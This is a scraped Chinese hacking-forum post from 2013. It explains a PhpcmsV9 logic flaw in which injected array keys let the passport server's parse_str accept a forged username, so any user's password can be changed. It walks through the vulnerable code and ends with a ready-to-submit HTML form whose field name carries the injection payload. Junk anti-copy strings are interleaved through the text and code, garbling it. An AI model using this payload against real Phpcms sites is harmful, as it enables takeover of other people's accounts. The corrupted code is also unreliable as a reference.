找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2068|回复: 0
打印 上一主题 下一主题

PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 14:46:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
提到的通行证的代码:5 T) }. g  Z4 w) b& n8 q1 K
- A. n  ~: h2 m, C: \3 e

* O7 z! L; ]8 ~parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);
' m5 d$ L9 Y$ u2 A4 @4 Y' f
- c: V. g" f+ }8 |5 Q4 t' E在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。
: i0 r9 x* a. l1 n6 d* s0 M  l) I
我把它留给了你们。
) _- G' {- m0 _" v$ }( j* R  g不知道你们发现了它没有。
# m1 G1 {0 i( J# x0 K- O( k
' X6 s" U5 J2 _) K/ c* m我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。
# U2 }; _9 C3 ^( [/ r. n
6 o% Y/ f3 C9 d1 ^  o' ^$ N' w所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。9 n* x, _- D* ~; H2 }0 Z5 H

" G, v* w1 A0 ?9 q( r7 a! Y6 h也就是
' A( R4 G8 x( I  n! F
- m4 t( Q3 Q0 ^2 x# Z& zusername=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。
) U' x& B2 n( R% v1 W! ^8 n0 `+ b% X& g: J7 {1 ~- J4 w; Q
要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。
5 D1 [" q0 S4 B+ |% u8 ?. c) [
  [$ ?; @  }4 q9 `
7 T! w2 l* h4 P1 a+ I其实我们有这样的机会,看看代码,如下:
! j& k2 l- P% M5 [( z; |8 _6 s: q9 O7 }8 i  r
8 z7 z! N& [( u( f  `- ?* C5 A
public function auth_data($data) {
6 z: Q( T* m/ g) L" H                $s = $sep = '';
$ {  A6 j' ?/ e2 Y) K. G0 O( w                foreach($data as $k => $v) {: U$ d; Q2 _1 \9 M  W3 l" Q9 C
                        if(is_array($v)) {* [: U) i: D7 A2 o
                                $s2 = $sep2 = '';
2 h% f  i! T% [/ F                                foreach($v as $k2 => $v2) {
. ~8 ]& b: I7 w/ @$ a5 d                                                $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);
. y0 j. g' ]- Q" |                                        $sep2 = '&';
- N. S; g/ r! \4 P, L                                }; d3 Y8 G' m+ {1 x
                                $s .= $sep.$s2;
! y& ~" J; X) A2 f! j. z! _) T                        } else {) q0 {6 C& y+ r' ^* Z' y
                                $s .= "$sep$k=".$this->_ps_stripslashes($v);% a0 K# n3 D' l! M2 F* v$ i# t* Q6 @
                        }
! A( s5 C2 v8 V                        $sep = '&';* `6 ~& p0 W+ T9 `' a# Z$ ?
                }
. k3 _( W# ?$ h
. X' E% a) [. q# M, r4 M  F5 D. \                $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));' V8 z% _$ f* j0 b" f
                return $auth_s;
5 c4 Z9 ]6 ], x" a        }0 i- X0 Y* S3 U5 t- j- @* \
  Q, D; q! Z" ~1 Q4 V
可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。5 M4 D, _- O: u% z2 l

, X! D% ]4 ?( {. O0 x' [举个例子
$ e  }+ ?8 _  e+ c- G# N; p/ w+ K1 V3 y% h  s
$a[aaa=a&bbb] = 'a';
7 J; a& s* B2 d; Q$ u$ b6 }- C8 T" U% T* f: h8 a) B& G$ s
会变成aaa=a&bbb=a
" t& M$ }+ T, M9 v) c: ?
: \6 V! [1 {2 q4 L明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。
, b, _2 K% W: v6 ?' M
+ S8 e# r) l5 _这个时候,我们可以再去看一个函数。5 @/ ]3 ]: ]. m" D

6 X/ }' F1 T$ H7 v8 {  i就在这个文件内:6 p/ X. l4 Q- d* x0 l# L

4 z4 m$ o' a8 l7 e! j8 |
8 ]5 t! y, R: [$ R9 kpublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {5 y4 S5 ~4 u7 |
                if($email && !$this->_is_email($email)) {
2 r% F7 H$ E. e+ c                        return -4;
  w' s+ e* \$ L+ B* m                }
3 ^- r; j) }# |/ p$ m- p5 P: f                return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));% d* c2 ]# z& u3 V: x- D
        }+ B6 y3 {; y( P' A
. J" K- k! @9 R8 e2 o1 S
这是向通行证发了这样一个请求。- Q* ^' }8 J0 d" w

+ Q+ ]# D0 }. m. J; f4 V! ^我们再跟到通信证代码里去看看,就会有所发现。
8 h# K0 o+ K' i$ r9 z! c# L! \' Q; B: |0 F, a' }6 S4 Y3 Z( o+ [4 Y

4 |, e- h: t  y9 |public function edit() {+ X5 v$ _% U* Q- u
//能省就省,太长了不是吗?1 `+ H8 v2 m8 O+ H' E, u8 P7 ]

% `# V" b( U4 b; A' j+ Cif($this->username) {$ `+ Y) f3 ?. ?8 m
//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。. |8 W+ _1 g, x' @7 t3 I/ V2 V! ]
                                $res = $this->db->update($data, array('username'=>$this->username));
5 Y* T0 j5 g$ D  F/ u. b3 \                        } else {
( A/ v2 @6 z# S. v$ C% |8 {                                file_put_contents('typeb.txt',print_r($data,1).$this->uid);
( ]+ L$ U/ ~1 }1 F7 D& M+ d# d                                $res = $this->db->update($data, array('uid'=>$this->uid));
) P! s/ d% Y# U6 v! i                        }4 _* d( w- T0 Q7 k/ c3 v

5 V0 @( e4 J; z8 L; d1 B. x6 [7 e好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:3 U& t6 M2 L( U
* p9 }% B- p8 B3 a
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')
  z- K3 x% K$ e# G! ~; q% V2 r" A) l7 Z3 u
很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。. S; s: |% y1 g: |, w9 Q7 _9 W! h

+ J/ X8 y5 \, S. E9 }- j6 D4 T我当然找到了:- P5 l5 o) j. D) `) f9 V( f8 h" Y
phpcms9/phpcms/modules/member/index.php
( [& O. |( B( W$ B0 B2 d9 m& C3 Q; B) i) Y
$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);
2 Z( W' ^/ Y- U/ {/ q6 c, m! g. r
$ {5 m( t& S$ A4 @) T然后就没有然后了。
* ^: t) J. D/ E9 @, }0 M) @  P6 {8 a7 l0 Y8 {! }) z* K& O
<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">" n- Q+ a0 g, s  H, I6 e. R
                                <table width="100%" cellspacing="0" class="table_form">
  D  Y1 Z& u+ h                                        <tr>2 g$ \5 C( W0 C+ P# z$ w  x6 Q  X
                                                <th width="80">邮箱:</th>        
. Z9 _/ J0 w3 d0 m' q) _6 g, x                                                <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>
$ `/ V: [# C8 P# O0 \4 \) b                                        </tr>
7 q8 m$ _9 }8 f" X3 I$ ~                                        <tr>4 T% c$ Y% e: v* n  L& x- m( ~
                                                <th width="80">原密码:</th>        8 w2 T, V8 Q8 k/ K  s1 ^: ^, ^+ X# v
                                                <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>! x, P7 I  J/ L1 P  ^0 C  B
                                        </tr>
( _2 m) b% U" `' ^5 ~                                        <tr>
- |* T8 ]. c) E. q                                                <th>新密码:</th>$ J$ K8 W3 f/ k# O7 C; ~
                                                <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>
2 H7 b/ a& y' d+ _% T% D                                        </tr>
1 f) \% H% E  c  Z4 K. s* r/ X                                        <th></th>
, |* q3 c/ x' m  N: E* E                                        <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>
6 L7 W' ~1 p+ \* p6 K                                        </tr>
' i  x. D9 Z& x+ D3 w) S1 q                                </table>
3 ~+ W) {& K' g% k* k1 H6 @
- T$ s; K: x/ @% d9 J% F                                7 E2 n' _! P) z! [) b& \2 R+ h8 b
                        </form>8 a% [0 g* j/ r& K+ T% P. X
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表